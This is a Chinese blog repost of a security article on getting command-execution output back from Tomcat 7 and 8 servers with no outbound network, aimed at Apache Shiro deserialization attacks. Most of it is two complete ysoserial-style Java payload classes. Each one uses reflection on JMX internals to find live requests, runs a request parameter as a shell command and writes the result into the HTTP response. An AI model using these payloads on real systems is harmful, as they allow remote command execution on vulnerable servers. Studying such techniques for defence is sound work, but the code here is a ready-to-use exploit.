• 【转载】tomcat不出网回显连续剧第六集


    最近看到的一篇文章,对之进行了一定的研究和学习,确实解决了tomcat下的回显问题,所以转载记录一下。

    原文地址:https://xz.aliyun.com/t/7535?accounttraceid=e83c6abeb82b4188b5bb5751fb879442rqln

    tomcat不出网回显连续剧第六集

    前情提要

    这周回顾了一下我所看到的前人关于tomcat回显和无文件webshell的文章。发现各个师傅的方法各有优劣,下面简单总结一下(总结不对的地方还请各位师傅指出)。

    所以这里提出一种新的回显方案解决一下tomcat7+shiro这个阴暗的角落(经测试tomcat8仍然适用)。
    测试环境:macos+tomcat7,8+shiro-simple-web

    再看register

    在上面提到的第四篇文章中提到包含有request(有了request就有response)的rp会被储存在global中,但其实再往下看会发现rp被注册进了组件。

    既然注册进去了肯定存放在哪里的,接下来动静结合调代码找就好了,代码跟踪过于冗长而且我也没细细探究每一步的意义,就不装模作样的分析了,这里直接给结论。

    通过idea的计算功能我们可以符合直觉的拿到response,实际想获取还是需要各种反射的。tomcat7,8获取这条链的方式大同小异,变化之处在于name="http-bio-8888",type=GlobalRequestProcessor,其中8888是tomcat服务端端口,在tomcat8里面bio变为nio。关于bio,nio的细节可以参考这篇文章

    除此之外在实际场景下会有很多requests是要遍历processors中的各个requests。

    demo代码

    tomcat8的demo

    package ysoserial;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.coyote.Request;
    import org.apache.tomcat.util.buf.ByteChunk;
    import org.apache.tomcat.util.modeler.Registry;
    import javax.management.MBeanServer;
    import java.io.InputStream;
    import java.lang.reflect.Field;
    import java.util.ArrayList;
    import java.util.HashMap;
    import java.util.Scanner;
    
    public class tomcat82 extends AbstractTranslet {
        public tomcat82() {
            try{
                MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
                Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
                field.setAccessible(true);
                Object obj = field.get(mbeanServer);
    
                field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
                field.setAccessible(true);
                obj = field.get(obj);
    
                field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
                field.setAccessible(true);
                HashMap obj2 = (HashMap)field.get(obj);
                obj = ((HashMap)obj2.get("Catalina")).get("name="http-nio-8888",type=GlobalRequestProcessor");
    
                field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
                field.setAccessible(true);
                obj = field.get(obj);
    
                field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
                field.setAccessible(true);
                obj = field.get(obj);
    
                field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                field.setAccessible(true);
                ArrayList obj3 = (ArrayList)field.get(obj);
    
                field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                field.setAccessible(true);
    
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
    
                for (int i = 0; i < obj3.size(); i++) {
                    Request obj4 = (Request) field.get(obj3.get(i));
                    String username = obj4.getParameters().getParameter("username");
                    if(username != null){
                        String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c",  username};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\a");
                        String output = "";
                        while (s.hasNext()){
                            output += s.next();
                        }
    
                        byte[] buf = output.getBytes();
                        ByteChunk bc = new ByteChunk();
                        bc.setBytes(buf, 0, buf.length);
                        obj4.getResponse().doWrite(bc);
                        break;
                    }
                }
    
            } catch (Exception e){
            }
        }
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }
    

    tomcat7的demo

    package ysoserial;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.coyote.Request;
    import org.apache.tomcat.util.buf.ByteChunk;
    import org.apache.tomcat.util.modeler.Registry;
    
    import javax.management.MBeanServer;
    import java.io.InputStream;
    import java.lang.reflect.Field;
    import java.util.ArrayList;
    import java.util.HashMap;
    import java.util.Scanner;
    
    public class tomcat72 extends AbstractTranslet {
        public tomcat72(){
            try{
    
                MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
                Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
                field.setAccessible(true);
                Object obj = field.get(mbeanServer);
    
                field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
                field.setAccessible(true);
                obj = field.get(obj);
    
                field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
                field.setAccessible(true);
                HashMap obj2 = (HashMap)field.get(obj);
                obj = ((HashMap)obj2.get("Catalina")).get("name="http-bio-8888",type=GlobalRequestProcessor");
    
                field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
                field.setAccessible(true);
                obj = field.get(obj);
    
                field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
                field.setAccessible(true);
                obj = field.get(obj);
    
                field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                field.setAccessible(true);
                ArrayList obj3 = (ArrayList)field.get(obj);
    
                field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                field.setAccessible(true);
    
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
    
                for (int i = 0; i < obj3.size(); i++) {
                    Request obj4 = (Request) field.get(obj3.get(i));
                    String username = obj4.getParameters().getParameter("username");
                    if(username != null){
                        String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c",  username};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\a");
                        String output = "";
                        while (s.hasNext()){
                            output += s.next();
                        }
    
                        byte[] buf = output.getBytes();
                        ByteChunk bc = new ByteChunk();
                        bc.setBytes(buf, 0, buf.length);
                        obj4.getResponse().doWrite(bc);
                        break;
                    }
                }
            } catch (Exception e) {
    //            System.out.println("=======================");
    //            System.out.println(e);
            }
        }
    
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }
    

    另外如果有师傅在复现的时候发现header超长,可以参考缩小ysoserial payload体积的几个方法。(也可以参考长亭师傅给的修改header头的思路,实际走的时候也许会遇到一些坑)

    tomcat7+simple-shiro-web成功复现

    最后

    感谢大师傅们开源的自己的思路,学到很多。其次在研究这种方法的时候发现还有其他很多MBean,也许还有很多好玩的东西?

  • 相关阅读:
    Spring之调度器(Scheduler)
    Spring之拦截器(Interceptor)
    ThreadLocal相关
    hibernate操作数据库
    文件操作的工具类
    日期操作工具类
    有关mysql的utf8和utf8mb4,以及Illegal mix of collations for operation 'like'
    [原]nginx 一下快一下慢的问题
    再谈微信公众号网页授权的40163错误
    用DBCC CHECK修复SQL2000的数据库一致性问题
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/12739416.html
Copyright © 2020-2023  润新知